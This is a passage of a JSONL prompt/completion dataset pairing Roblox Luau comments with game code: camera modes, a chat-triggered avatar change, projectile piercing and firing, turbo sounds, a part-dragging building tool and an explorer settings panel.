= \"Free Camera\"\n\t\t\t\t\t\t\twait(3)\n\t\t\t\t\t\t\tlimitButton.Text = \"\"\n\t\t\t\t\t\telseif cam == (\"freeplr\") then\n\t\t\t\t\t\t\tCamera.CameraSubject = player.Character.Humanoid\n\t\t\t\t\t\t\tCamera.CameraType = (\"Attach\")\n\t\t\t\t\t\t\tcam = (\"lockplr\")\n\t\t\t\t\t\t\tCamera.FieldOfView = 60\n\t\t\t\t\t\t\tlimitButton.Text = \"FPV Camera\"\n\t\t\t\t\t\t\twait(3)\n\t\t\t\t\t\t\tlimitButton.Text = \"\"\n\t\t\t\t elseif cam == (\"lockplr\") then\n\t\t\t\t\t\t\tCamera.CameraSubject = carSeat\n\t\t\t\t\t\t\tCamera.CameraType = (\"Attach\")\n\t\t\t\t\t\t\tcam = (\"car\")\n\t\t\t\t\t\t\tCamera.FieldOfView = 50\n\t\t\t\t\t\t\tlimitButton.Text = \"Standard Camera\"\n\t\t\t\t\t\t\twait(3)\n\t\t\t\t\t\t\tlimitButton.Text = \"\"\n\t\t\t\t end\n\t\t\tend\n\t\tend)\n"} +{"prompt": "--[ FUNCTIONS ]--", "completion": "\n\ngame.Players.PlayerAdded:Connect(function(player) -- When Player Join\n\tplayer.CharacterAdded:Connect(function(chr) -- Grabs Player Character\n\t\tplayer.Chatted:Connect(function(msg) -- When Player Chats\n\t\t\t\n\t\t\tlocal Humanoid = chr:WaitForChild(\"Humanoid\") -- Getting Humanoid\n\t\t\tlocal Desc = Humanoid:GetAppliedDescription() -- Getting Humanoid Description\n\t\t\tDesc.RightLeg = 134082579 -- Korblox Leg\n\t\t\t\n\t\t\t-- IF command match start --\n\t\t\t\n\t\t\tif msg:sub(1, Command:len()):lower() == Command:lower() then -- if msg is /e headless then\n\t\t\t\tHumanoid:ApplyDescription(Desc)\t\n\t\t\tend\n\n\t\t\t-- IF command match end --\n\t\t\t\n\t\tend)\n\tend)\nend)\n"} +{"prompt": "-- The pierce function can also be used for things like bouncing.\n-- In reality, it's more of a function that the module uses to ask \"Do I end the cast now, or do I keep going?\"\n-- Because of this, you can use it for logic such as ray reflection or other redirection methods.\n-- A great example might be to pierce or bounce based on something like velocity or angle.\n-- You can see this implementation further down in the OnRayPierced function.", "completion": "\nfunction CanRayPierce(cast, rayResult, segmentVelocity)\n\n\t-- Let's keep track of how many times we've hit something.\n\tlocal hits = cast.UserData.Hits\n\tif (hits == nil) then\n\t\t-- If the hit data isn't registered, set it to 1 (because this is our first hit)\n\t\tcast.UserData.Hits = 1\n\telse\n\t\t-- If the hit data is registered, add 1.\n\t\treturn false\n\t\t--cast.UserData.Hits += 1\n\tend\n\n\t-- And if the hit count is over 3, don't allow piercing and instead stop the ray.\n\tif (cast.UserData.Hits > 1) then\n\t\treturn false\n\tend\n\n\t-- Now if we make it here, we want our ray to continue.\n\t-- This is extra important! If a bullet bounces off of something, maybe we want it to do damage too!\n\t-- So let's implement that.\n\tlocal hitPart = rayResult.Instance\n\tif hitPart ~= nil and hitPart.Parent ~= nil then\n\t\tlocal humanoid = hitPart.Parent:FindFirstChildOfClass(\"Humanoid\")\n\t\tif humanoid then\n\t\t\thumanoid:TakeDamage(25) -- Damage.\n\t\tend\n\tend\n\n\t-- And then lastly, return true to tell FC to continue simulating.\n\treturn true\n\n\t--[[\n\t-- This function shows off the piercing feature literally. Pass this function as the last argument (after bulletAcceleration) and it will run this every time the ray runs into an object.\n\t\n\t-- Do note that if you want this to work properly, you will need to edit the OnRayPierced event handler below so that it doesn't bounce.\n\t\n\tif material == Enum.Material.Ice or material == Enum.Material.Glass then\n\t\t-- Hit glass, plastic, or ice...\n\t\tif hitPart.Transparency >= 0.5 then\n\t\t\t-- And it's >= half transparent...\n\t\t\treturn true -- Yes! We can pierce.\n\t\tend\n\tend\n\treturn false\n\t--]]\nend\n\nfunction Fire(direction)\n\t-- Called when we want to fire the gun.\n\tif Tool.Parent:IsA(\"Backpack\") then return end -- Can't fire if it's not equipped.\n\t-- Note: Above isn't in the event as it will prevent the CanFire value from being set as needed.\n\n\t-- UPD. 11 JUNE 2019 - Add support for random angles.\n\tlocal directionalCF = CFrame.new(Vector3.new(), direction)\n\t-- Now, we can use CFrame orientation to our advantage.\n\t-- Overwrite the existing Direction value.\n\tlocal direction = (directionalCF * CFrame.fromOrientation(0, 0, RNG:NextNumber(0, TAU)) * CFrame.fromOrientation(math.rad(RNG:NextNumber(MIN_BULLET_SPREAD_ANGLE, MAX_BULLET_SPREAD_ANGLE)), 0, 0)).LookVector\n\n\t-- UPDATE V6: Proper bullet velocity!\n\t-- IF YOU DON'T WANT YOUR BULLETS MOVING WITH YOUR CHARACTER, REMOVE THE THREE LINES OF CODE BELOW THIS COMMENT.\n\t-- Requested by https://www.roblox.com/users/898618/profile/\n\t-- We need to make sure the bullet inherits the velocity of the gun as it fires, just like in real life.\n\tlocal humanoidRootPart = Tool.Parent:WaitForChild(\"HumanoidRootPart\", 1)\t-- Add a timeout to this.\n\tlocal myMovementSpeed = humanoidRootPart.Velocity\t\t\t\t\t\t\t-- To do: It may be better to get this value on the clientside since the server will see this value differently due to ping and such.\n\tlocal modifiedBulletSpeed = (direction * BULLET_SPEED)-- + myMovementSpeed\t-- We multiply our direction unit by the bullet speed. This creates a Vector3 version of the bullet's velocity at the given speed. We then add MyMovementSpeed to add our body's motion to the velocity.\n\n\tif PIERCE_DEMO then\n\t\tCastBehavior.CanPierceFunction = CanRayPierce\n\tend\n\n\tlocal simBullet = Caster:Fire(FirePointObject.WorldPosition, direction, modifiedBulletSpeed, CastBehavior)\n\t-- Optionally use some methods on simBullet here if applicable.\n\n\t-- Play the sound\n\tPlayFireSound()\nend\n"} +{"prompt": "--[[\n\t ___ _______ _ _______\n\t / _ |____/ ___/ / ___ ____ ___ (_)__ /__ __/\n\t / __ /___/ /__/ _ \\/ _ `(_-<(_-= BOVact2 then if FE then handler:FireServer(\"stopSound\",\"BOV\") else car.DriveSeat.BOV:Stop() end end\n\t\n\tif FE then\n\t\thandler:FireServer(\"updateSound\",\"Whistle\",script.Whistle.SoundId,WP,WV)\n\t\thandler:FireServer(\"updateSound\",\"BOV\",script.BOV.SoundId,BP,BV)\n\telse\n\t\tcar.DriveSeat.Whistle.Pitch = WP\n\t\tcar.DriveSeat.Whistle.Volume = WV\n\t\tcar.DriveSeat.BOV.Pitch = BP\n\t\tcar.DriveSeat.BOV.Volume = BV\n\tend\n\tif (tick()-ticc) >= 0.1 then\n\t\tBOVact2 = math.floor(psi*20)\n\t\tticc = tick()\n\tend\nend\n"} +{"prompt": "--[[\n\t\n\tReturns true if a table/dictionary contains userdata (somewhat deep)\n\t\n\tFunctions.HasUserdata(\n\t\ttable, \t\t\t\t\t<-- |REQ|\tTable/dictionary\n\t)\n\t\n--]]", "completion": "\n\n\n\nreturn function(tbl)\n\t--- Variables\n\tlocal found = false\n\t\n\t--- Scan local function\n\tlocal function Scan(v)\n\t\t--- Already found userdata\n\t\tif found then\n\t\t\treturn\n\t\tend\n\t\t\n\t\t--- Iterate\n\t\tfor key, value in pairs(v) do\n\t\t\t--- Already found userdata\n\t\t\tif found then\n\t\t\t\treturn\n\t\t\tend\n\t\t\t\n\t\t\t--- Main check\n\t\t\tif type(value) == \"userdata\" or type(key) == \"userdata\" then\n\t\t\t\t--- Userdata located\n\t\t\t\tfound = true\n\t\t\t\treturn\n\t\t\t\t\n\t\t\telseif type(value) == \"table\" then\n\t\t\t\t--- Re-iterate\n\t\t\t\tScan(value)\n\t\t\tend\n\t\tend\n\tend\n\t\n\t--- Scan\n\tScan(tbl)\n\t\n\t--\n\treturn found\nend\n"} +{"prompt": "-- Create class", "completion": "\nlocal FreeDragging = {}\nFreeDragging.__index = FreeDragging\n\nfunction FreeDragging.new(Tool)\n local self = {\n\t\tTool = Tool;\n\n -- Dragging state\n IsDragging = false;\n StartScreenPoint = nil;\n StartTarget = nil;\n CrossthroughCorrection = nil;\n LastSelection = nil;\n LastBasePartOffset = nil;\n Target = nil;\n TargetPoint = nil;\n TargetNormal = nil;\n LastTargetNormal = nil;\n CornerOffsets = nil;\n\n -- Surface alignment state\n TriggerAlignment = nil;\n SurfaceAlignment = nil;\n LastSurfaceAlignment = nil;\n }\n\n setmetatable(self, FreeDragging)\n\n -- Listen for free dragging ending\n self:InstallDragEndListener()\n\n -- Return initialized module\n return self\nend\n\nfunction FreeDragging:EnableDragging()\n\t-- Enables part dragging\n\n\tlocal function HandleDragStart(Action, State, Input)\n\t\tif State.Name ~= 'Begin' then\n\t\t\treturn Enum.ContextActionResult.Pass\n\t\tend\n\n\t\t-- Get mouse target\n\t\tlocal TargetPart = Core.Mouse.Target\n\t\tif (not TargetPart) or Selection.Multiselecting then\n\t\t\treturn Enum.ContextActionResult.Pass\n\t\tend\n\n\t\t-- Make sure target is draggable, unless snapping\n\t\tlocal IsSnapping = UserInputService:IsKeyDown(Enum.KeyCode.R) and #Selection.Items > 0\n\t\tif not Core.IsSelectable({ TargetPart }) and not IsSnapping then\n\t\t\treturn Enum.ContextActionResult.Pass\n\t\tend\n\n\t\t-- Initialize dragging detection data\n\t\tself.StartTarget = TargetPart\n\t\tself.StartScreenPoint = Vector2.new(Core.Mouse.X, Core.Mouse.Y)\n\n\t\t-- Select unselected target, if not snapping\n\t\tlocal _, ScopeTarget = Core.Targeting:UpdateTarget()\n\t\tif not Selection.IsSelected(ScopeTarget) and not IsSnapping then\n\t\t\tCore.Targeting.SelectTarget(true)\n\t\t\tCore.Targeting.CancelSelecting()\n\t\tend\n\n\t\tlocal function HandlePotentialDragStart(Action, State, Input)\n\t\t\tif State.Name ~= 'Change' then\n\t\t\t\treturn Enum.ContextActionResult.Pass\n\t\t\tend\n\n\t\t\t-- Trigger dragging if the mouse is moved over 2 pixels\n\t\t\tlocal DragScreenDistance = self.StartScreenPoint and\n\t\t\t\t(Vector2.new(Core.Mouse.X, Core.Mouse.Y) - self.StartScreenPoint).Magnitude\n\t\t\tif DragScreenDistance >= 2 then\n\n\t\t\t\t-- Prepare for dragging\n\t\t\t\tBoundingBox.ClearBoundingBox()\n\t\t\t\tself:SetUpDragging(self.StartTarget, SnapTracking.Enabled and self.Tool.SnappedPoint or nil)\n\n\t\t\t\t-- Stop watching for potential dragging\n\t\t\t\tContextActionService:UnbindAction 'BT: Watch for dragging'\n\n\t\t\tend\n\n\t\t\t-- Pass input if not a touch interaction\n\t\t\tif Input.UserInputType.Name ~= 'Touch' then\n\t\t\t\treturn Enum.ContextActionResult.Pass\n\t\t\tend\n\t\tend\n\n\t\t-- Watch for potential dragging\n\t\tContextActionService:BindAction('BT: Watch for dragging', HandlePotentialDragStart, false,\n\t\t\tEnum.UserInputType.MouseMovement,\n\t\t\tEnum.UserInputType.Touch\n\t\t)\n\tend\n\n\t-- Pay attention to when the user intends to start dragging\n\tContextActionService:BindAction('BT: Start dragging', HandleDragStart, false,\n\t\tEnum.UserInputType.MouseButton1,\n\t\tEnum.UserInputType.Touch\n\t)\n\nend\n\nfunction FreeDragging:SetUpDragging(BasePart, BasePoint)\n\t-- Sets up and initiates dragging based on the given base part\n\n\t-- Prevent selection while dragging\n\tCore.Targeting.CancelSelecting()\n\n\t-- Prepare parts, and start dragging\n\tself.InitialState = self.Tool:PreparePartsForDragging()\n\tself:StartDragging(BasePart, self.InitialState, BasePoint)\n\nend\n\nfunction FreeDragging:StartDragging(BasePart, InitialState, BasePoint)\n\t-- Begins dragging the selection\n\n\t-- Ensure dragging is not already ongoing\n\tif self.IsDragging then\n\t\treturn\n\tend\n\n\t-- Indicate that we're dragging\n\tself.IsDragging = true\n\n\t-- Track changes\n\tself.Tool:TrackChange()\n\n\t-- Disable bounding box calculation\n\tBoundingBox.ClearBoundingBox()\n\n\t-- Cache area permissions information\n\tlocal AreaPermissions\n\tif Core.Mode == 'Tool' then\n\t\tAreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player)\n\tend\n\n\t-- Ensure a base part is provided\n\tif not InitialState[BasePart] then\n\t\tBasePart = next(InitialState)\n\t\tif not BasePart then\n\t\t\treturn\n\t\tend\n\tend\n\n\t-- Determine the base point for dragging\n\tlocal BasePartOffset = -BasePart.CFrame:pointToObjectSpace(Core.Mouse.Hit.p)\n\n\t-- Improve base point alignment for the given increment\n\tBasePartOffset = Vector3.new(\n\t\tmath.clamp(MoveUtil.GetIncrementMultiple(BasePartOffset.X, self.Tool.Increment), -BasePart.Size.X / 2, BasePart.Size.X / 2),\n\t\tmath.clamp(MoveUtil.GetIncrementMultiple(BasePartOffset.Y, self.Tool.Increment), -BasePart.Size.Y / 2, BasePart.Size.Y / 2),\n\t\tmath.clamp(MoveUtil.GetIncrementMultiple(BasePartOffset.Z, self.Tool.Increment), -BasePart.Size.Z / 2, BasePart.Size.Z / 2)\n\t)\n\n\t-- Use the given base point instead if any\n\tif BasePoint then\n\t\tBasePartOffset = -BasePart.CFrame:pointToObjectSpace(BasePoint)\n\tend\n\n\t-- Prepare snapping in case it is enabled, and make sure to override its default target selection\n\tSnapTracking.TargetBlacklist = Selection.Items\n\tself.Tool.Maid.DragSnapping = self.Tool.PointSnapped:Connect(function (SnappedPoint)\n\n\t\t-- Align the selection's base point to the snapped point\n\t\tlocal Rotation = self.SurfaceAlignment or (InitialState[BasePart].CFrame - InitialState[BasePart].CFrame.p)\n\t\tBasePart.CFrame = CFrame.new(SnappedPoint) * Rotation * CFrame.new(BasePartOffset)\n\t\tMoveUtil.TranslatePartsRelativeToPart(BasePart, InitialState)\n\n\t\t-- Make sure we're not entering any unauthorized private areas\n\t\tif Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then\n\t\t\tBasePart.CFrame = InitialState[BasePart].CFrame\n\t\t\tMoveUtil.TranslatePartsRelativeToPart(BasePart, InitialState)\n\t\tend\n\n\tend)\n\n\t-- Update cache of corner offsets for later crossthrough calculations\n\tself.CornerOffsets = GetCornerOffsets(InitialState[BasePart].CFrame, InitialState)\n\n\t-- Provide a callback to trigger alignment\n\tself.TriggerAlignment = function ()\n\n\t\t-- Trigger drag recalculation\n\t\tself:DragToMouse(BasePart, BasePartOffset, InitialState, AreaPermissions)\n\n\t\t-- Trigger snapping recalculation\n\t\tif SnapTracking.Enabled then\n\t\t\tself.Tool.PointSnapped:Fire(self.Tool.SnappedPoint)\n\t\tend\n\n\tend\n\n\tlocal function HandleDragChange(Action, State, Input)\n\t\tif State.Name == 'Change' then\n\t\t\tself:DragToMouse(BasePart, BasePartOffset, InitialState, AreaPermissions)\n\t\tend\n\t\treturn Enum.ContextActionResult.Pass\n\tend\n\n\t-- Start up the dragging\n\tContextActionService:BindAction('BT: Dragging', HandleDragChange, false,\n\t\tEnum.UserInputType.MouseMovement,\n\t\tEnum.UserInputType.Touch\n\t)\n\nend\n\nfunction FreeDragging:DragToMouse(BasePart, BasePartOffset, InitialState, AreaPermissions)\n\t-- Drags the selection by `BasePart`, judging area authorization from `AreaPermissions`\n\n\t----------------------------------------------\n\t-- Check what and where the mouse is aiming at\n\t----------------------------------------------\n\n\t-- Don't consider other selected parts possible targets\n\tlocal IgnoreList = Support.CloneTable(Selection.Items)\n\ttable.insert(IgnoreList, Core.Player and Core.Player.Character)\n\n\t-- Perform the mouse target search\n\tlocal Target, TargetPoint, TargetNormal = Workspace:FindPartOnRayWithIgnoreList(\n\t\tRay.new(Core.Mouse.UnitRay.Origin, Core.Mouse.UnitRay.Direction * 5000),\n\t\tIgnoreList\n\t)\n\tself.Target = Target\n\tself.TargetPoint = TargetPoint\n\tself.TargetNormal = TargetNormal\n\n\t-- Reset any surface alignment and calculated crossthrough if target surface changes\n\tif self.LastTargetNormal ~= self.TargetNormal then\n\t\tself.SurfaceAlignment = nil\n\t\tself.CrossthroughCorrection = nil\n\tend\n\n\t-- Reset any calculated crossthrough if selection, drag offset, or surface alignment change\n\tif (self.LastSelection ~= Selection.Items) or\n\t\t\t(self.LastBasePartOffset ~= BasePartOffset) or\n\t\t\t(self.LastSurfaceAlignment ~= self.SurfaceAlignment) then\n\t\tself.CrossthroughCorrection = nil\n\tend\n\n\t-- Save last dragging options for change detection\n\tself.LastSelection = Selection.Items\n\tself.LastBasePartOffset = BasePartOffset\n\tself.LastSurfaceAlignment = self.SurfaceAlignment\n\tself.LastTargetNormal = self.TargetNormal\n\n\t------------------------------------------------\n\t-- Move the selection towards any snapped points\n\t------------------------------------------------\n\n\t-- If snapping is enabled, skip regular dragging\n\tif SnapTracking.Enabled then\n\t\treturn\n\tend\n\n\t------------------------------------------------------\n\t-- Move the selection towards the right mouse location\n\t------------------------------------------------------\n\n\t-- Get the increment-aligned target point\n\tself.TargetPoint = self:GetAlignedTargetPoint(\n\t\tself.Target,\n\t\tself.TargetPoint,\n\t\tself.TargetNormal,\n\t\tself.Tool.Increment\n\t)\n\n\t-- Move the parts towards their target destination\n\tlocal Rotation = self.SurfaceAlignment or (InitialState[BasePart].CFrame - InitialState[BasePart].CFrame.p)\n\tlocal TargetCFrame = CFrame.new(self.TargetPoint) * Rotation * CFrame.new(BasePartOffset)\n\n\t-- Calculate crossthrough against target plane if necessary\n\tif not self.CrossthroughCorrection then\n\t\tself.CrossthroughCorrection = 0\n\n\t\t-- Calculate each corner's tentative position\n\t\tfor _, CornerOffset in pairs(self.CornerOffsets) do\n\t\t\tlocal Corner = TargetCFrame * CornerOffset\n\n\t\t\t-- Calculate the corner's target plane crossthrough\n\t\t\tlocal CornerCrossthrough = -(self.TargetPoint - Corner):Dot(self.TargetNormal)\n\n\t\t\t-- Check if this corner crosses through the most\n\t\t\tif CornerCrossthrough < self.CrossthroughCorrection then\n\t\t\t\tself.CrossthroughCorrection = CornerCrossthrough\n\t\t\tend\n\t\tend\n\tend\n\n\t-- Move the selection, retracted by the max. crossthrough amount\n\tBasePart.CFrame = TargetCFrame - (self.TargetNormal * self.CrossthroughCorrection)\n\tMoveUtil.TranslatePartsRelativeToPart(BasePart, InitialState)\n\n\t----------------------------------------\n\t-- Check for relevant area authorization\n\t----------------------------------------\n\n\t-- Make sure we're not entering any unauthorized private areas\n\tif Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then\n\t\tBasePart.CFrame = InitialState[BasePart].CFrame\n\t\tMoveUtil.TranslatePartsRelativeToPart(BasePart, InitialState)\n\tend\n\nend\n\nfunction FreeDragging:AlignSelectionToTarget()\n\t-- Aligns the selection to the current target surface while dragging\n\n\t-- Ensure dragging is ongoing\n\tif not self.IsDragging or not self.TargetNormal then\n\t\treturn\n\tend\n\n\t-- Get target surface normal as arbitrarily oriented CFrame\n\tlocal TargetNormalCF = CFrame.new(Vector3.new(), self.TargetNormal)\n\n\t-- Use detected surface normal directly if not targeting a part\n\tif not self.Target then\n\t\tself.SurfaceAlignment = TargetNormalCF * CFrame.Angles(-math.pi / 2, 0, 0)\n\n\t-- For parts, calculate orientation based on the target surface, and the target part's orientation\n\telse\n\n\t\t-- Set upward direction to match the target surface normal\n\t\tlocal UpVector, LookVector, RightVector = self.TargetNormal\n\n\t\t-- Use target's rightward orientation for calculating orientation (when targeting forward or backward directions)\n\t\tlocal Target, TargetNormal = self.Target, self.TargetNormal\n\t\tif TargetNormal:isClose(Target.CFrame.lookVector, 0.000001) or TargetNormal:isClose(-Target.CFrame.lookVector, 0.000001) then\n\t\t\tLookVector = TargetNormal:Cross(Target.CFrame.rightVector).unit\n\t\t\tRightVector = LookVector:Cross(TargetNormal).unit\n\n\t\t-- Use target's forward orientation for calculating orientation (when targeting any other direction)\n\t\telse\n\t\t\tRightVector = Target.CFrame.lookVector:Cross(TargetNormal).unit\n\t\t\tLookVector = TargetNormal:Cross(RightVector).unit\n\t\tend\n\n\t\t-- Generate rotation matrix based on direction vectors\n\t\tself.SurfaceAlignment = CFrame.new(\n\t\t\t0, 0, 0,\n\t\t\tRightVector.X, UpVector.X, -LookVector.X,\n\t\t\tRightVector.Y, UpVector.Y, -LookVector.Y,\n\t\t\tRightVector.Z, UpVector.Z, -LookVector.Z\n\t\t)\n\n\tend\n\n\t-- Trigger alignment\n\tself:TriggerAlignment()\n\nend\n\nfunction FreeDragging:GetAlignedTargetPoint(Target, TargetPoint, TargetNormal, Increment)\n\t-- Returns the target point aligned to the nearest increment multiple\n\n\t-- By default, use the center of the universe for alignment on all axes\n\tlocal ReferencePoint = CFrame.new()\n\tlocal PlaneAxes = Vector3.new(1, 1, 1)\n\n\t-----------------------------------------------------------------------------\n\t-- Detect appropriate reference points and plane axes for recognized surfaces\n\t-----------------------------------------------------------------------------\n\n\t-- Make sure the target is a part\n\tif Target and Target:IsA 'BasePart' and Target.ClassName ~= 'Terrain' then\n\t\tlocal Size = Target.Size / 2\n\n\t\t-- Calculate the direction of a wedge surface\n\t\tlocal WedgeDirection = (Target.CFrame - Target.CFrame.p) *\n\t\t\tCFrame.fromAxisAngle(Vector3.FromAxis(Enum.Axis.X), math.atan(Target.Size.Z / Target.Size.Y))\n\n\t\t-- Calculate the direction of a corner part's Z-axis surface\n\t\tlocal CornerDirectionZ = (Target.CFrame - Target.CFrame.p) *\n\t\t\tCFrame.fromAxisAngle(Vector3.FromAxis(Enum.Axis.X), math.pi - math.atan(Target.Size.Z / Target.Size.Y))\n\n\t\t-- Calculate the direction of a corner part's X-axis surface\n\t\tlocal CornerDirectionX = (Target.CFrame - Target.CFrame.p) *\n\t\t\tCFrame.fromAxisAngle(Vector3.FromAxis(Enum.Axis.Z), math.atan(Target.Size.Y / Target.Size.X)) *\n\t\t\tCFrame.fromAxisAngle(Vector3.FromAxis(Enum.Axis.X), math.pi / 2) *\n\t\t\tCFrame.fromAxisAngle(Vector3.FromAxis(Enum.Axis.Z), -math.pi / 2)\n\n\t\t-- Get the right alignment reference point on a part's front surface\n\t\tif TargetNormal:isClose(Target.CFrame.lookVector, 0.000001) then\n\t\t\tReferencePoint = Target.CFrame * CFrame.new(Size.X, Size.Y, -Size.Z)\n\t\t\tPlaneAxes = Vector3.new(1, 1, 0)\n\n\t\t-- Get the right alignment reference point on a part's back surface\n\t\telseif TargetNormal:isClose(-Target.CFrame.lookVector, 0.000001) then\n\t\t\tReferencePoint = Target.CFrame * CFrame.new(-Size.X, Size.Y, Size.Z)\n\t\t\tPlaneAxes = Vector3.new(1, 1, 0)\n\n\t\t-- Get the right alignment reference point on a part's left surface\n\t\telseif TargetNormal:isClose(-Target.CFrame.rightVector, 0.000001) then\n\t\t\tReferencePoint = Target.CFrame * CFrame.new(-Size.X, Size.Y, -Size.Z)\n\t\t\tPlaneAxes = Vector3.new(0, 1, 1)\n\n\t\t-- Get the right alignment reference point on a part's right surface\n\t\telseif TargetNormal:isClose(Target.CFrame.rightVector, 0.000001) then\n\t\t\tReferencePoint = Target.CFrame * CFrame.new(Size.X, Size.Y, Size.Z)\n\t\t\tPlaneAxes = Vector3.new(0, 1, 1)\n\n\t\t-- Get the right alignment reference point on a part's upper surface\n\t\telseif TargetNormal:isClose(Target.CFrame.upVector, 0.000001) then\n\t\t\tReferencePoint = Target.CFrame * CFrame.new(Size.X, Size.Y, Size.Z)\n\t\t\tPlaneAxes = Vector3.new(1, 0, 1)\n\n\t\t-- Get the right alignment reference point on a part's bottom surface\n\t\telseif TargetNormal:isClose(-Target.CFrame.upVector, 0.000001) then\n\t\t\tReferencePoint = Target.CFrame * CFrame.new(Size.X, -Size.Y, -Size.Z)\n\t\t\tPlaneAxes = Vector3.new(1, 0, 1)\n\n\t\t-- Get the right alignment reference point on wedged part surfaces\n\t\telseif TargetNormal:isClose(WedgeDirection.lookVector, 0.000001) then\n\n\t\t\t-- Get reference point oriented to wedge plane\n\t\t\tReferencePoint = WedgeDirection *\n\t\t\t\tCFrame.fromAxisAngle(Vector3.FromAxis(Enum.Axis.X), -math.pi / 2) +\n\t\t\t\t(Target.CFrame * Vector3.new(Size.X, Size.Y, Size.Z))\n\n\t\t\t-- Set plane offset axes\n\t\t\tPlaneAxes = Vector3.new(1, 0, 1)\n\n\t\t-- Get the right alignment reference point on the Z-axis surface of a corner part\n\t\telseif TargetNormal:isClose(CornerDirectionZ.lookVector, 0.000001) then\n\n\t\t\t-- Get reference point oriented to wedged plane\n\t\t\tReferencePoint = CornerDirectionZ *\n\t\t\t\tCFrame.fromAxisAngle(Vector3.FromAxis(Enum.Axis.X), -math.pi / 2) +\n\t\t\t\t(Target.CFrame * Vector3.new(-Size.X, Size.Y, -Size.Z))\n\n\t\t\t-- Set plane offset axes\n\t\t\tPlaneAxes = Vector3.new(1, 0, 1)\n\n\t\t-- Get the right alignment reference point on the X-axis surface of a corner part\n\t\telseif TargetNormal:isClose(CornerDirectionX.lookVector, 0.000001) then\n\n\t\t\t-- Get reference point oriented to wedged plane\n\t\t\tReferencePoint = CornerDirectionX *\n\t\t\t\tCFrame.fromAxisAngle(Vector3.FromAxis(Enum.Axis.X), -math.pi / 2) +\n\t\t\t\t(Target.CFrame * Vector3.new(Size.X, Size.Y, -Size.Z))\n\n\t\t\t-- Set plane offset axes\n\t\t\tPlaneAxes = Vector3.new(1, 0, 1)\n\n\t\t-- Return an unaligned point for unrecognized surfaces\n\t\telse\n\t\t\treturn TargetPoint\n\t\tend\n\n\tend\n\n\t-------------------------------------\n\t-- Calculate the aligned target point\n\t-------------------------------------\n\n\t-- Get target point offset from reference point\n\tlocal ReferencePointOffset = ReferencePoint:inverse() * CFrame.new(TargetPoint)\n\n\t-- Align target point on increment grid from reference point along the plane axes\n\tlocal AlignedTargetPoint = ReferencePoint * (Vector3.new(\n\t\tMoveUtil.GetIncrementMultiple(ReferencePointOffset.X, Increment),\n\t\tMoveUtil.GetIncrementMultiple(ReferencePointOffset.Y, Increment),\n\t\tMoveUtil.GetIncrementMultiple(ReferencePointOffset.Z, Increment)\n\t) * PlaneAxes)\n\n\t-- Return the aligned target point\n\treturn AlignedTargetPoint\n\nend\n\nfunction FreeDragging:FinishDragging()\n\t-- Releases parts and registers position changes from dragging\n\n\t-- Make sure dragging is active\n\tif not self.IsDragging then\n\t\treturn\n\tend\n\n\t-- Indicate that we're no longer dragging\n\tself.IsDragging = false\n\n\t-- Clear any surface alignment\n\tself.SurfaceAlignment = nil\n\n\t-- Stop the dragging action\n\tContextActionService:UnbindAction 'BT: Dragging'\n\n\t-- Stop, clean up snapping point tracking\n\tSnapTracking.StopTracking()\n\tself.Tool.Maid.DragSnapping = nil\n\n\t-- Restore the original state of each part\n\tfor Part, State in pairs(self.InitialState) do\n\t\tPart:MakeJoints()\n\t\tCore.RestoreJoints(State.Joints)\n\t\tPart.CanCollide = State.CanCollide\n\t\tPart.Anchored = State.Anchored\n\tend\n\n\t-- Register changes\n\tself.Tool:RegisterChange()\n\nend\n\n"} +{"prompt": "--[[\nExplorerButton.MouseButton1Up:connect(function()\n\tif CurrentWindow ~= \"Explorer\" then\n\t\tCurrentWindow = \"Explorer\"\n\t\t\n\t\tExplorerPanel:TweenPosition(UDim2.new(1, -300, 0, 0), \"Out\", \"Quad\", 0.5, true)\n\t\tPropertiesFrame:TweenPosition(UDim2.new(1, -300, 0.5, 36), \"Out\", \"Quad\", 0.5, true)\n\t\tSettingsPanel:TweenPosition(UDim2.new(1, 0, 0, 0), \"Out\", \"Quad\", 0.5, true)\n\tend\nend)\n\nSettingsButton.MouseButton1Up:connect(function()\n\tif CurrentWindow ~= \"Settings\" then\n\t\tCurrentWindow = \"Settings\"\n\t\t\n\t\tExplorerPanel:TweenPosition(UDim2.new(1, 0, 0, 0), \"Out\", \"Quad\", 0.5, true)\n\t\tPropertiesFrame:TweenPosition(UDim2.new(1, 0, 0.5, 36), \"Out\", \"Quad\", 0.5, true)\n\t\tSettingsPanel:TweenPosition(UDim2.new(1, -300, 0, 0), \"Out\", \"Quad\", 0.5, true)\n\tend\nend)\n--]]", "completion": "\n\nfunction createSetting(name,interName,defaultOn)\n\tlocal newSetting = SettingTemplate:Clone()\n\tnewSetting.Position = UDim2.new(0,0,0,#SettingList:GetChildren() * 60)\n\tnewSetting.SName.Text = name\n\t\n\tlocal function toggle(on)\n\t\tif on then\n\t\t\tnewSetting.Change.Bar:TweenPosition(UDim2.new(0,32,0,-2),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.25,true)\n\t\t\tnewSetting.Change.OnBar:TweenSize(UDim2.new(0,34,0,15),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.25,true)\n\t\t\tnewSetting.Status.Text = \"On\"\n\t\t\tSettings[interName] = true\n\t\telse\n\t\t\tnewSetting.Change.Bar:TweenPosition(UDim2.new(0,-2,0,-2),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.25,true)\n\t\t\tnewSetting.Change.OnBar:TweenSize(UDim2.new(0,0,0,15),Enum.EasingDirection.Out,Enum.EasingStyle.Quart,0.25,true)\n\t\t\tnewSetting.Status.Text = \"Off\"\n\t\t\tSettings[interName] = false\n\t\tend\n\tend\t\n\t\n\tnewSetting.Change.MouseButton1Click:connect(function()\n\t\ttoggle(not Settings[interName])\n\tend)\n\t\n\tnewSetting.Visible = true\n\tnewSetting.Parent = SettingList\n\t\n\tif defaultOn then\n\t\ttoggle(true)\n\tend\nend\n\ncreateSetting(\"Click part to select\",\"ClickSelect\",false)\ncreateSetting(\"Selection Box\",\"SelBox\",false)\ncreateSetting(\"Clear property value on focus\",\"ClearProps\",false)\ncreateSetting(\"Select ungrouped models\",\"SelectUngrouped\",true)\ncreateSetting(\"SaveInstance decompiles scripts\",\"SaveInstanceScripts\",true)\n"} +{"prompt": "--[[\n\tA show of two tracks begins on every hour.\n\tWhen there is not a show going on, the PreShowVenue will be active.\n]]", "completion": "\n\n\n\nlocal replicatedStorage = 